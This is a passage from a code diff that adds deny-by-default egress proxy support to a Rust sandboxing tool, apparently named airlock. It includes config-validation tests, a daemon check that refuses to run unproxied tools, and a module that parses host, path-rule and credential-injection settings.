.unwrap_err(); + assert!( + matches!( + err, + ConfigError::ProxyToolSecretEnv { ref tool, ref var_name } + if tool == "curl" && var_name == "TOKEN" + ), + "got: {err:?}" + ); + } + + #[test] + fn reject_proxy_tool_overriding_proxy_env_in_either_case() { + for var in ["HTTPS_PROXY", "https_proxy", "CURL_CA_BUNDLE", "no_proxy"] { + let err = load_with_gcp_secret(&format!( + r#" +[tools.curl] +proxy = true + +[tools.curl.env] +{var} = "x" + +[[tools.curl.routes]] +host = "example.com" +"# + )) + .unwrap_err(); + assert!( + matches!(err, ConfigError::ProxyReservedEnvVar { ref var_name, .. } if var_name == var), + "{var}: got {err:?}" + ); + } + } + + #[test] + fn ordinary_tool_may_still_set_proxy_env() { + let config = load_with_gcp_secret( + r#" +[tools.gh.env] +HTTPS_PROXY = "http://corp-proxy.internal:3128" +"#, + ) + .unwrap(); + assert!(config.tools["gh"].env.contains_key("HTTPS_PROXY")); + } + + #[test] + fn proxy_tool_may_set_static_env() { + let config = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[tools.curl.env] +CLOUDSDK_CORE_PROJECT = "my-project" + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + .unwrap(); + assert!( + config.tools["curl"] + .env + .contains_key("CLOUDSDK_CORE_PROJECT") + ); + } + + #[test] + fn reject_invalid_route_reports_tool_and_index() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" + +[[tools.curl.routes]] +host = "10.0.0.1" +"#, + ) + .unwrap_err(); + match err { + ConfigError::InvalidProxyRoute { + tool, + index, + source, + } => { + assert_eq!(tool, "curl"); + assert_eq!(index, 1); + assert!(matches!(source, RouteError::InvalidHost { .. })); + } + other => panic!("expected InvalidProxyRoute, got: {other:?}"), + } + } + + #[test] + fn reject_invalid_rule_and_inject() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +allow = ["get /**"] +"#, + ) + .unwrap_err(); + assert!( + matches!( + err, + ConfigError::InvalidProxyRoute { + source: RouteError::InvalidRule { .. }, + .. + } + ), + "got: {err:?}" + ); + + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +inject = { header = "Host", value = "{secret}", secret = "gcp_token" } +"#, + ) + .unwrap_err(); + assert!( + matches!( + err, + ConfigError::InvalidProxyRoute { + source: RouteError::InvalidInject { .. }, + .. + } + ), + "got: {err:?}" + ); + } + + #[test] + fn reject_duplicate_route_host_case_insensitively() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" + +[[tools.curl.routes]] +host = "Example.COM" +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::DuplicateProxyRouteHost { ref host, .. } if host == "example.com"), + "got: {err:?}" + ); + } + + #[test] + fn reject_route_with_undeclared_secret() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +inject = { header = "Authorization", value = "Bearer {secret}", secret = "ghost" } +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::UndeclaredProxySecret { ref label, .. } if label == "ghost"), + "got: {err:?}" + ); + } + + #[test] + fn reject_unknown_route_field() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +alow = ["GET /**"] +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::ParseError { .. }), + "got: {err:?}" + ); + } + #[test] fn reject_invalid_env_var_name() { let tmp = tempdir().unwrap(); diff --git a/src/daemon.rs b/src/daemon.rs index 7df4827..a984279 100644 --- a/src/daemon.rs +++ b/src/daemon.rs @@ -1147,6 +1147,22 @@ async fn handle_exec_request( return; } + // Proxy tools are safe only with the proxy in front of them: spawned the + // ordinary way they would get unrestricted network and no credential, + // which is exactly the general-purpose network tool SECURITY.md forbids. + if config.tools[&tool].proxy.is_some() { + log_and_send_error( + format!( + "tool {:?} is a proxy tool, and this build of airlock has no proxy runtime; refusing to run it without egress enforcement", + tool + ), + &ring_buffer, + &mut writer, + ) + .await; + return; + } + // ── 2. CWD validation ─────────────────────────────────────────────────── let cwd_path = PathBuf::from(&cwd); if let Err(e) = policy::validate_cwd(&cwd_path, &config.sandbox_root) { diff --git a/src/lib.rs b/src/lib.rs index 66e2cb9..836cfa3 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -4,6 +4,7 @@ pub mod daemon; pub mod exec; pub mod policy; pub mod protocol; +pub mod proxy; pub mod redact; pub mod refresh; pub mod run; diff --git a/src/main.rs b/src/main.rs index bfe7208..310ca2e 100644 --- a/src/main.rs +++ b/src/main.rs @@ -544,6 +544,19 @@ fn cmd_list(config_path: Option<&Path>) -> ExitCode { } } } + + if let Some(policy) = &tool.proxy { + println!(" proxy tool; reachable hosts:"); + for route in &policy.routes { + match &route.inject { + Some(inject) => println!( + " {} ({} injected from )", + route.host, inject.header, inject.secret + ), + None => println!(" {} (no credential)", route.host), + } + } + } } ExitCode::SUCCESS diff --git a/src/policy.rs b/src/policy.rs index 02cccf5..228dc62 100644 --- a/src/policy.rs +++ b/src/policy.rs @@ -242,6 +242,7 @@ mod tests { extra_write, timeout: None, description: None, + proxy: None, }, ); } diff --git a/src/proxy.rs b/src/proxy.rs new file mode 100644 index 0000000..81668f6 --- /dev/null +++ b/src/proxy.rs @@ -0,0 +1,733 @@ +//! Egress policy for proxy tools. +//! +//! A proxy tool (`proxy = true` in `[tools.X]`) never receives secrets in its +//! environment. Instead its only network path is a daemon-side HTTP proxy that +//! decides, per request, whether the destination is allowed and which +//! credential header to attach. This module holds the declarative half of +//! that: the route table parsed from `[[tools.X.routes]]` and the matching +//! rules the proxy evaluates against it. +//! +//! Everything here is deny-by-default. A host with no route is unreachable, a +//! request a route's rules do not permit is refused, and a path the matcher +//! cannot reason about unambiguously is refused rather than guessed at. + +use thiserror::Error; + +/// Headers a route may not inject: they frame the request or address the +/// proxy hop, so letting config set them would desync the proxy from the +/// upstream's view of the message. +const FORBIDDEN_INJECT_HEADERS: &[&str] = &[ + "connection", + "content-length", + "host", + "keep-alive", + "proxy-authorization", + "proxy-connection", + "te", + "trailer", + "transfer-encoding", + "upgrade", +]; + +/// Placeholder in `inject.value` that is replaced by the secret. +const SECRET_PLACEHOLDER: &str = "{secret}"; + +/// Why a `[[tools.X.routes]]` entry was rejected. +#[derive(Debug, Error, PartialEq, Eq)] +pub enum RouteError { + /// The `host` pattern is not a plain DNS name or `*.`-prefixed DNS name. + #[error("invalid host pattern {pattern:?}: {reason}")] + InvalidHost { + /// The offending pattern. + pattern: String, + /// Why it was rejected. + reason: &'static str, + }, + + /// An `allow` / `deny` entry is not of the form `METHOD /path`. + #[error("invalid rule {rule:?}: {reason}")] + InvalidRule { + /// The offending rule. + rule: String, + /// Why it was rejected. + reason: &'static str, + }, + + /// The `inject` table is malformed. + #[error("invalid inject spec: {reason}")] + InvalidInject { + /// Why it was rejected. + reason: &'static str, + }, +} + +// ─── Host patterns ──────────────────────────────────────────────────────────── + +/// A destination host a route applies to. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum HostPattern { + /// Matches exactly this (lowercased) DNS name. + Exact(String), + /// `*.suffix`: matches exactly one additional label in front of `suffix`. + /// Holds the suffix without the leading `*.`. + Wildcard(String), +} + +impl HostPattern { + /// Parse a `host` value from config. + /// + /// IP literals, ports, and schemes are rejected: a route names a DNS + /// identity that the upstream TLS certificate is verified against, and + /// none of those have one. + pub fn parse(pattern: &str) -> Result { + let err = |reason| RouteError::InvalidHost { + pattern: pattern.to_string(), + reason, + }; + + let lowered = pattern.to_ascii_lowercase(); + let (wildcard, name) = match lowered.strip_prefix("*.") { + Some(rest) => (true, rest), + None => (false, lowered.as_str()), + }; + + if name.is_empty() { + return Err(err("host is empty")); + } + if name.len() > 253 { + return Err(err("host exceeds 253 characters")); + } + + let labels: Vec<&str> = name.split('.').collect(); + for label in &labels { + if label.is_empty() || label.len() > 63 { + return Err(err("each label must be 1-63 characters")); + } + if !label + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') + { + return Err(err( + "only letters, digits, '-' and '.' are allowed (no scheme, port, path, or inner '*')", + )); + } + if label.starts_with('-') || label.ends_with('-') { + return Err(err("labels must not start or end with '-'")); + } + } + // A numeric final label is how IPv4 literals (and their octal/hex-free + // decimal forms) look; no real TLD is all digits. + if labels[labels.len() - 1].bytes().all(|b| b.is_ascii_digit()) { + return Err(err("IP literals are not allowed; use a DNS name")); + } + if wildcard && labels.len() < 2 { + return Err(err( + "wildcard must cover a registrable domain (e.g. \"*.example.com\", not \"*.com\")", + )); + } + + Ok(if wildcard { + HostPattern::Wildcard(name.to_string()) + } else { + HostPattern::Exact(name.to_string()) + }) + } + + /// Whether `host` (as taken from a CONNECT target or absolute URI, without + /// port) falls under this pattern. + pub fn matches(&self, host: &str) -> bool { + // Patterns are ASCII-only, and the wildcard arm slices by byte offset. + if !host.is_ascii() { + return false; + } + let host = host.strip_suffix('.').unwrap_or(host); + match self { + HostPattern::Exact(name) => host.eq_ignore_ascii_case(name), + HostPattern::Wildcard(suffix) => { + // Compare from the right so `evil-example.com` cannot match + // `*.example.com`: the byte before the suffix must be the dot + // that ends exactly one leading label. + let Some(split) = host.len().checked_sub(suffix.len() + 1) else { + return false; + }; + let (label, rest) = host.split_at(split); + !label.is_empty() + && !label.contains('.') + && rest.as_bytes()[0] == b'.' + && rest[1..].eq_ignore_ascii_case(suffix) + } + } + } +} + +impl std::fmt::Display for HostPattern { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + HostPattern::Exact(name) => f.write_str(name), + HostPattern::Wildcard(suffix) => write!(f, "*.{suffix}"), + } + } +} + +// ─── Method / path rules ────────────────────────────────────────────────────── + +#[derive(Debug, Clone, PartialEq, Eq)] +enum Segment { + Literal(String), + /// `*`: exactly one non-empty segment. + One, + /// `**`: zero or more trailing segments. Only valid as the last segment. + Rest, +} + +/// One `METHOD /path` entry from a route's `allow` or `deny` list. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct PathRule { + /// Uppercase method, or `None` for `*` (any method). + method: Option, + segments: Vec, +} + +impl PathRule { + /// Parse a rule such as `GET /v2/projects/*/locations/**`. + pub fn parse(rule: &str) -> Result { + let err = |reason| RouteError::InvalidRule { + rule: rule.to_string(), + reason, + }; + + let Some((method, path)) = rule.split_once(' ') else { + return Err(err("expected \"METHOD /path\"")); + }; + let method = if method == "*" { + None + } else if !method.is_empty() && method.bytes().all(|b| b.is_ascii_uppercase()) { + Some(method.to_string()) + } else { + return Err(err("method must be uppercase letters or \"*\"")); + }; + + let Some(path) = path.strip_prefix('/') else { + return Err(err("path must start with '/'")); + }; + if path.contains(['?', '#', ' ']) { + return Err(err( + "path must not contain '?', '#' or spaces (rules match the path only)", + )); + } + + let raw: Vec<&str> = path.split('/').collect(); + let mut segments = Vec::with_capacity(raw.len()); + for (i, seg) in raw.iter().enumerate() { + let last = i == raw.len() - 1; + segments.push(match *seg { + "**" if last => Segment::Rest, + "**" => return Err(err("\"**\" is only allowed as the final segment")), + "*" => Segment::One, + "" if !last => return Err(err("path must not contain empty segments (\"//\")")), + "." | ".." => return Err(err("path must not contain \".\" or \"..\" segments")), + s if s.contains('*') => { + return Err(err("'*' must be a whole segment (\"*\" or \"**\")")); + } + s => Segment::Literal(s.to_string()), + }); + } + + Ok(PathRule { method, segments }) + } + + fn matches(&self, method: &str, path_segments: &[&str]) -> bool { + if let Some(m) = &self.method { + // Case-insensitive so a `deny = ["DELETE /**"]` still bites if the + // client sends `delete` and the upstream happens to accept it. + if !m.eq_ignore_ascii_case(method) { + return false; + } + } + + let mut rest = path_segments; + for seg in &self.segments { + match seg { + Segment::Rest => return true, + Segment::One => match rest.split_first() { + Some((s, tail)) if !s.is_empty() => rest = tail, + _ => return false, + }, + Segment::Literal(lit) => match rest.split_first() { + Some((s, tail)) if s == lit => rest = tail, + _ => return false, + }, + } + } + rest.is_empty() + } +} + +/// Split a request path into segments for rule matching, or `None` if the +/// path is one the rules cannot be evaluated against safely. +/// +/// Rules are matched against the path exactly as the client sent it, but the +/// upstream is free to normalize it first — collapse `//`, resolve `..`, +/// decode `%2F`. Any of those would let a request match `allow` as one path +/// and be served as another. Rather than guess at the upstream's +/// normalization, such paths are refused outright. +fn split_request_path(path: &str) -> Option> { + let path = path.strip_prefix('/')?; + if path.contains('\\') { + return None; + } + let lowered = path.to_ascii_lowercase(); + if ["%2f", "%2e", "%5c", "%00"] + .iter() + .any(|enc| lowered.contains(enc)) + { + return None; + } + + let segments: Vec<&str> = path.split('/').collect(); + let last = segments.len() - 1; + for (i, seg) in segments.iter().enumerate() { + if *seg == "." || *seg == ".." || (seg.is_empty() && i != last) { + return None; + } + } + Some(segments) +} + +// ─── Credential injection ───────────────────────────────────────────────────── + +/// The header a route attaches to permitted requests. +/// +/// Holds only the secret's *label*; the value is looked up in the secret store +/// per request so background refreshes take effect immediately. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Inject { + /// Header name, as written in config. + pub header: String, + /// Literal text before the secret (e.g. `"Bearer "`). + pub prefix: String, + /// Literal text after the secret. + pub suffix: String, + /// Label of the `[secrets.